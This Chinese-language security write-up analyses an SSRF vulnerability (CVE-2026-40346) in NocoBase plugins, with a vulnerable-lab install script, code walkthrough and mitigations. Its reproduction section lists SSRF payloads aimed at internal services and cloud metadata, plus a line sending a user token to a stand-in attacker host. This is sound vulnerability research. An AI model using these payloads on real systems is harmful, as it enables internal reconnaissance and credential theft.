NocoBase AI 驱动型无代码平台SSRF漏洞 | CVE-2026-40346原理分析&研究
0x0 背景介绍
NocoBase的流程HTTP请求插件和自定义请求动作插件会在用户提供的URL上发起服务器端HTTP请求,且没有任何SSRF防护。经认证的用户可访问内部网络服务、云元数据端点以及本地主机。
0x1 环境搭建(Ubuntu24)
-
1.1-Ubuntu24+Docker搭建配置
-
另存为install.sh
#!/bin/bash
# ==========================================
# NocoBase SSRF漏洞环境一键部署脚本
# 漏洞编号: CVE-2026-40346
# 目标版本: nocobase/nocobase:1.6.31
# 用途说明: 仅供安全研究测试,禁止用于非法用途
set -e
# --- 配置区域 (可自定义) ---
PROJECT_DIR="$HOME/nocobase-app"
CONTAINER_NAME="nocobase-app"
IMAGE_VERSION="nocobase/nocobase:1.6.31"
POSTGRES_IMAGE="postgres:16"
HOST_PORT="13000"
CONTAINER_PORT="80"
TIMEZONE="Asia/Shanghai"
# 数据库配置
DB_NAME="nocobase"
DB_USER="nocobase"
DB_PASSWORD="nocobase"
# 安全密钥 (建议修改)
APP_KEY="your-secret-key-$(openssl rand -hex 16)"
echo "=============================================="
echo " NocoBase 一键部署脚本 (含漏洞环境)"
echo " 目标版本: ${IMAGE_VERSION}"
echo " (注:此版本存在 CVE-2026-40346 SSRF 漏洞)"
echo "=============================================="
# 阶段 0: 检查依赖
echo "[*] 阶段 0/5:检查环境依赖..."
if ! command -v docker &> /dev/null; then
echo "[x] 未检测到 Docker,请先安装 Docker"
exit 1
fi
if ! command -v docker compose &> /dev/null && ! docker compose version &> /dev/null; then
if command -v docker-compose &> /dev/null; then
alias docker compose="docker-compose"
echo "[*] 检测到旧版 docker-compose,已兼容处理"
else
echo "[x] 未检测到 Docker Compose,请先安装"
exit 1
fi
fi
echo "[+] Docker 环境检查通过"
# 阶段 1: 创建目录
echo "[*] 阶段 1/5:创建工作目录..."
mkdir -p "${PROJECT_DIR}/storage/db/postgres"
cd "${PROJECT_DIR}" || { echo "[x] 进入目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"
# 阶段 2: 生成配置文件
echo "[*] 阶段 2/5:生成配置文件 (docker-compose.yml)..."
# 生成 docker-compose.yml
cat > docker-compose.yml <<EOF
version: '3'
networks:
nocobase:
driver: bridge
services:
app:
image: ${IMAGE_VERSION}
container_name: ${CONTAINER_NAME}
restart: always
networks:
- nocobase
depends_on:
- postgres
environment:
- APP_KEY=${APP_KEY}
- DB_DIALECT=postgres
- DB_HOST=postgres
- DB_PORT=5432
- DB_DATABASE=${DB_NAME}
- DB_USER=${DB_USER}
- DB_PASSWORD=${DB_PASSWORD}
- TZ=${TIMEZONE}
volumes:
- ./storage:/app/nocobase/storage
ports:
- '${HOST_PORT}:${CONTAINER_PORT}'
postgres:
image: ${POSTGRES_IMAGE}
container_name: ${CONTAINER_NAME}-postgres
restart: always
command: postgres -c wal_level=logical
environment:
POSTGRES_USER: ${DB_USER}
POSTGRES_DB: ${DB_NAME}
POSTGRES_PASSWORD: ${DB_PASSWORD}
volumes:
- ./storage/db/postgres:/var/lib/postgresql/data
networks:
- nocobase
EOF
echo "[+] 配置文件生成完毕"
# 阶段 3: 修正权限
echo "[*] 阶段 3/5:修正目录权限..."
chown -R $(id -u):$(id -g) ./storage
chmod -R 755 ./storage
echo "[+] 权限设置完成 (所有者: $(whoami))"
# 阶段 4: 启动服务
echo "[*] 阶段 4/5:启动 Docker 容器..."
docker compose up -d
echo "[*] 等待服务初始化 (约 30 秒)..."
for i in {1..6}; do
echo -n "."
sleep 5
done
echo ""
# 阶段 5: 健康检查
echo "[*] 阶段 5/5:检查服务状态..."
# 检查容器是否运行
if [ "$(docker inspect -f '{{.State.Running}}' ${CONTAINER_NAME} 2>/dev/null)" != "true" ]; then
echo "[x] 主容器启动失败!请查看日志:"
docker logs --tail 20 ${CONTAINER_NAME}
exit 1
fi
if [ "$(docker inspect -f '{{.State.Running}}' ${CONTAINER_NAME}-postgres 2>/dev/null)" != "true" ]; then
echo "[x] 数据库容器启动失败!请查看日志:"
docker logs --tail 20 ${CONTAINER_NAME}-postgres
exit 1
fi
# 检查服务是否可用
MAX_WAIT=60
COUNT=0
SERVICE_READY=false
while [ $COUNT -lt $MAX_WAIT ]; do
if curl -s "http://localhost:${HOST_PORT}/api/app:getInfo" > /dev/null 2>&1; then
SERVICE_READY=true
break
fi
sleep 2
COUNT=$((COUNT+2))
echo -n "."
done
if [ "$SERVICE_READY" = false ]; then
echo "[!] 警告:未在 ${MAX_WAIT} 秒内检测到服务响应。"
echo " 可能是首次启动较慢,请稍后检查。"
docker logs --tail 30 ${CONTAINER_NAME}
else
echo "[+] 服务启动成功!"
fi
# 获取本地 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
echo "=============================================="
echo " NocoBase 部署完成!"
echo "=============================================="
echo " 访问地址:"
echo " 局域网: http://${LOCAL_IP}:${HOST_PORT}"
echo " 本地: http://localhost:${HOST_PORT}"
echo ""
echo " 默认登录账号:"
echo " 用户名: admin@nocobase.com"
echo " 密码: admin123"
echo ""
echo " APP_KEY: ${APP_KEY}"
echo ""
echo " 数据位置:"
echo " ${PROJECT_DIR}/storage"
echo ""
echo " 【!】️ 安全提醒:"
echo " 此版本 (v1.6.31) 存在 CVE-2026-40346 SSRF 漏洞"
echo " 攻击者可通过特制请求访问内部服务或进行端口扫描"
echo " 请仅在隔离环境用于安全测试,勿用于生产环境!"
echo ""
echo " 常用命令:"
echo " 查看应用日志: docker logs -f ${CONTAINER_NAME}"
echo " 查看数据库日志: docker logs -f ${CONTAINER_NAME}-postgres"
echo " 重启服务: docker compose restart"
echo " 停止服务: docker compose down"
echo " 完整删除: docker compose down -v"
echo "=============================================="
echo " 重要提示: 此环境仅用于合法安全测试!"
echo "=============================================="
0x2 漏洞复现
目标:在“已登录(loggedIn)用户”的权限范围内,通过可控 URL 触发 NocoBase 服务器端向任意地址发起 HTTP 请求,从而访问内网服务/本机服务/云元数据端点。受影响链路:自定义请求动作 与 工作流 Request 指令(两者底层都使用
axios,且未实现 SSRF 防护)。
2.1-脚本验证
https://github.com/Kai-One001/cve-/blob/main/NocoBase_AI_SSRF_CVE-2026-40346.py

2.2-手动复现
2.1.1-工作流HTTP请求(步骤多哈)
- 右上角->⚙->Workfow

- 添加新的流程

- 编辑该工作流,添加节点

- 设置相关参数

- 进行测试

2.1.2-自定义请求流程
- 同样,在首页创建模板

- 添加一个表格后配置自定义请求


- 配置该节点的参数,示例是这样,这地方发现有API-token(v1.3.22-beta及以上才有)

2.1.3 探测本机/内网服务
- Payload(示例):
• http://127.0.0.1:80/
• http://127.0.0.1:5432/(Postgres)
• http://127.0.0.1:2375/version(Docker)
• http://10.0.0.0/8、http://172.16.0.0/12、http://192.168.0.0/16
## 网段中的常见端口
- 预期结果:
• 成功:响应 body 直接回传到 NocoBase 的接口响应
(自定义请求:ctx.body = res.data,见 send.ts L185-L190;工作流请求:result.data 被记录到 job)
• 失败:ECONNREFUSED / ETIMEDOUT 等错误信息
(自定义请求会用 ctx.status = err.response?.status || 500,见 send.ts L192-L199;工作流请求会走 error.toJSON() 或 error.message,见 RequestInstruction.ts L119-L123)
2.1.4 访问云元数据(信息泄露)
- Payload(示例):
AWS 常见:http://169.254.169.254/latest/meta-data/
- 预期响应:
•如果环境具备元数据服务,响应中可能包含实例信息、临时凭证等敏感数据
•这是从“应用层 SSRF”直达“云控制面数据泄露”的典型升级路径
2.1.5 利用变量/模板把“敏感上下文”带入请求(更隐蔽的链路)
这里需要特别强调适用范围**$nToken / $env 这类“敏感上下文变量”只存在于「自定义请求动作」链路**(plugin-action-custom-request/src/server/actions/send.ts 的 variables),不属于「工作流 HTTP request 节点」的默认变量集。
自定义请求动作支持变量模板解析(见send.ts定义 getParsedValue,并使用 url/headers/params/data 全量套用)
- 可被带入的上下文(证据):
• $nToken:当前用户 Bearer Token(send.ts L154)
• $env:环境变量(send.ts L156) ##我没成功
• currentUser、currentRecord、$nForm:当前用户/记录/表单数据(send.ts L147-L156)•
- 示例思路:
把 url 配成攻击者控制的外部域名,例如 :
1、https://attacker.example/collect?token={{ $nToken }}
2、或把敏感字段拼进 querystring/POST body
那样的结果:
1、 服务端会实际向外发起携带敏感信息的请求;且插件日志会打印最终 URL(send.ts L172-L173),
2、 同时意味着“敏感信息进入日志”的二次风险也需要关注
- 另外我也在补丁版本进行了复现,新增了限制

2.3-复现流量特征 (PCAP)
- 工作流请求流量

- 自定义请求流量

0x3 漏洞原理分析
3.0-[架构与模块定位] 两条链路,一种本质:把用户可控 URL 交给 axios
从仓库结构看,是两个插件在设计上都提供了“由用户配置 URL 并由服务器代发请求”的能力:
-
工作流侧:把“请求”做成一个可编排的指令
-
动作侧:把“请求”做成一个可配置的 UI 动作
核心文件梳理如下(入口层/逻辑层/驱动层):
| 层级 | 文件 | 职责(与漏洞链条的关系) |
|---|---|---|
| 入口层(触发点) | packages/plugins/@nocobase/plugin-action-custom-request/src/client/hooks/useCustomizeRequestActionProps.ts |
点击按钮时调用 /customRequests:send/<x-uid>,把 currentRecord/$nForm 传给后端(L55-L68)。 |
| 入口层(服务端路由) | packages/plugins/@nocobase/plugin-action-custom-request/src/server/plugin.ts |
注册 customRequests.send 动作并允许 loggedIn 访问(L34-L48)。 |
| 逻辑层(自定义请求执行) | packages/plugins/@nocobase/plugin-action-custom-request/src/server/actions/send.ts |
从 DB 取出 requestConfig.options,模板解析 url/headers/params/data,然后 axios 直连(L105-L170, L185)。 |
| 逻辑层(工作流请求执行) | packages/plugins/@nocobase/plugin-workflow-request/src/server/RequestInstruction.ts |
从工作流节点 config 取 url 等参数,组装 headers/params/data,随后 axios.request 直连(L38-L68, L113-L114)。 |
| 数据层(请求配置存储) | packages/plugins/@nocobase/plugin-action-custom-request/src/server/collections/customRequest.ts |
customRequests.options 用 JSON 存放整套请求参数(L35-L37)。 |
3.1-[核心入口] 自定义请求动作:从按钮点击到 /customRequests:send 的“代发请求”
首先是前端触发点:当动作类型是 customize:form:request 时,前端会发起一个非常明确的请求:
文件:
packages/plugins/@nocobase/plugin-action-custom-request/src/client/hooks/useCustomizeRequestActionProps.ts
关键代码:
apiClient.request({ url: \
/customRequests:send/${fieldSchema['x-uid']}`, method: 'POST', data: ... })`
- 只要我能在页面上配置这个按钮,或者拿到这个
x-uid,就有一条通往服务端“代发 HTTP 请求”的专用通道
接着找服务端注册处,确认它确实是一个“面向普通登录用户”的能力,而不是仅管理员可用:
文件:
packages/plugins/@nocobase/plugin-action-custom-request/src/server/plugin.ts
关键代码:
• resourceManager.define({ name: 'customRequests', actions: { send, ... }})
• acl.allow('customRequests', ['send', ...], 'loggedIn')
-
猜测这大概率是“这是一个配置型能力,受 UI与角色控制”,因此把ACL下放到
loggedIn,再在动作内部做一次角色过滤 -
但现实是:只要存在任意可触发的配置(尤其是默认“未绑定角色限制”的配置),它就会变成一个通用SSRF
3.2-[逻辑缺陷] 自定义请求动作的“最后一道失守防线”:模板解析后直送 axios
我们进入 send.ts文件,只做三件事
1) URL 是否来自用户可控配置?
2) 发起请求前有没有任何 SSRF 防护(协议、IP、DNS Rebinding、内网网段、localhost、重定向等)?
3) 公平 xixi :)
文件:
packages/plugins/@nocobase/plugin-action-custom-request/src/server/actions/send.ts
关键代码:
•从 requestConfig.options 解构出 url/headers/params/data/...options
•用 getParsedValue() 对 url/headers/params/data 做模板解析(L162-L170)
•组装 axiosRequestConfig
而真正有问题是在这一行:
const res = await axios(axiosRequestConfig)
- 还有一个注意的是:这里的 URL 不是“白名单内的路径”,而是完全可拼装的字符串:
•url: getParsedValue(url, variables)
•variables 里甚至包含 $env 与 $nToken
正常情况:
•既然这是“自定义请求”,可能希望它像“服务端代理器”:让业务人员把数据推送到指定外部 API。
•因此他们提供了模板变量(currentUser/currentRecord/$nForm/$env/$nToken),希望增强编排能力。
实际缺失:
• 没有任何 SSRF 保护机制:
1、未限制协议(file:// 之类虽然 axios 不一定支持,但 http/https 足够)、未做 IP/网段拦截、未阻断localhost/127.0.0.1
2、未处理 DNS Rebinding、未限制跳转(axios 默认会跟随重定向,具体取决于 adapter/环境)。
• baseURL: ctx.origin看起来像“想把请求限制在本站”,
1、但axios 规则是:只要 url 是绝对 URL(如 http://127.0.0.1),它会覆盖 baseURL 直接访问目标
2、这就导致“误以为 baseURL 是安全边界”的错觉。
3.3-[核心入口] 工作流 Request 指令:节点配置驱动的“通用 SSRF 指令”
看自定义请求动作是“页面按钮触发”还能字如其名,到工作流这条线更像“平台的脚本能力”:一旦某个角色能配置/触发工作流,就等于拿到了一个通用网络探测器。
文件:
packages/plugins/@nocobase/plugin-workflow-request/src/server/RequestInstruction.ts
-
request(config)函数中URL只做了trim()(L38-L68) -
问题点:
return axios.request({ url: trim(url), ... })(L57-L68)
接着往下看 run() 中,它会直接调用这个 request(config):
1、 const config = processor.getParsedValue(node.config, node.id)(L106)
这一步意味着:工作流节点 config 也会被变量解析/动态生成
2、 在同步工作流中直接 await request(config)(L111-L117)
3、 那在异步工作流也会 request(config).then(...).catch(...)(L134-L167)
-
这里的安全边界同样有矛盾,工作流节点本质上是一种“低代码编排”,当它提供HTTP请求能力时,就应该默认附带SSRF安全框架(地址策略、DNS/IP 校验、禁止内网等)
-
但这里的实现“把axios暴露给了可配置层”
3.4-[攻击链路] 两条链路的调用链总结(注入点 -> 爆发点)
页面按钮点击/表单提交
-> useCustomizeRequestActionProps.onClick()
-> POST /customRequests:send/<x-uid>(注入点:customRequests.options.url)
-> plugin-action-custom-request/src/server/actions/send.ts
-> axiosRequestConfig.url = getParsedValue(url, variables)
-> await axios(axiosRequestConfig)(爆发点:L185)
-> 目标内网/本机/元数据服务响应被带回 ctx.body
工作流节点配置
-> processor.getParsedValue(node.config, node.id)(注入点:node.config.url)
-> plugin-workflow-request/src/server/RequestInstruction.ts::request(config)
-> axios.request({ url: trim(url), ... })(爆发点:L57-L68)
-> 响应/错误被记录为 job result(可被 UI/接口读取)
3.5 [推导最大危害-理论] 从“可访问任意 URL”到“可持续渗透面”
基于以上两条链路的共同特征(认证用户可触发 + URL 可控 + 服务器端直连),扩大下战果:
-
内网资产探测与横向移动:利用超时/状态码差异对内网端口进行枚举,识别 Redis/Elasticsearch/Kibana/Docker API/Consul 等服务,再进一步利用其弱口令或未授权接口。
-
云元数据泄露 -> 云上接管:在云环境中访问
169.254.1xx.2x4获取临时凭证、实例信息,进而访问云API,造成数据泄露与权限升级。 -
读取/投递敏感上下文(自定义请求动作特有的“变量能力”):
variables中包含$nToken、$env等(send.ts L154-L156),意味着攻击者能把“平台内的认证材料/环境信息”通过 SSRF 出网带走,形成更隐蔽的数据外带通道。 -
日志侧二次泄露:插件会记录最终
requestUrl(send.ts L172-L173)。当URL中携带token/敏感字段时,日志本身会成为敏感信息落地点。
0x4 修复建议
1、升级最新版本:将组件升级安全版本,2.0.37及以上版本
https://github.com/nocobase/nocobase
2、临时防护措施:
-
关闭特性:禁用或下线@nocobase/plugin-action-custom-request与 @nocobase/plugin-workflow-request(若业务允许)
-
防火墙 / WAF:拦截/审计 POST /api/customRequests:send/*、出现 currentRecord、$nForm字段的组合
-
限制访问:网络层 egress 控制,在服务器防火墙/安全组层面禁止应用容器/主机访问
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)